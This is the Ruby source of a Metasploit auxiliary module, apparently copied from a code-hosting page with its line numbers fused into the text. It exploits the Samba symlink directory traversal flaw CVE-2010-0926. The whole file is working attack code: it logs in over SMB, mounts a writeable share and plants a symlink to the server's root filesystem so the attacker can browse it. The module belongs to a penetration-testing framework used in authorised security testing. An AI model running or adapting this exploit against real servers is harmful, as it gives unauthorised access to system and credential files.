Path: blob/master/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client9include Msf::Auxiliary::Report1011# Aliases for common classes12SIMPLE = Rex::Proto::SMB::SimpleClient13XCEPT = Rex::Proto::SMB::Exceptions14CONST = Rex::Proto::SMB::Constants1516def initialize17super(18'Name' => 'Samba Symlink Directory Traversal',19'Description' => %(20This module exploits a directory traversal flaw in the Samba21CIFS server. To exploit this flaw, a writeable share must be specified.22The newly created directory will link to the root filesystem.23),24'Author' => [25'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html26'hdm' # metasploit module27],28'References' => [29['CVE', '2010-0926'],30['OSVDB', '62145'],31['URL', 'http://www.samba.org/samba/news/symlink_attack.html']32],33'License' => MSF_LICENSE,34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],37'Reliability' => []38}39)4041register_options([42OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),43OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])44])4546deregister_options('SMB::ProtocolVersion')47end4849def run50print_status('Connecting to the server...')51connect(versions: [1])52smb_login5354print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")55simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")5657print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")58simple.client.symlink(datastore['SMBTARGET'], '../' * 10)5960print_status('Now access the following share to browse the root filesystem:')61print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")62print_line('')63end64end656667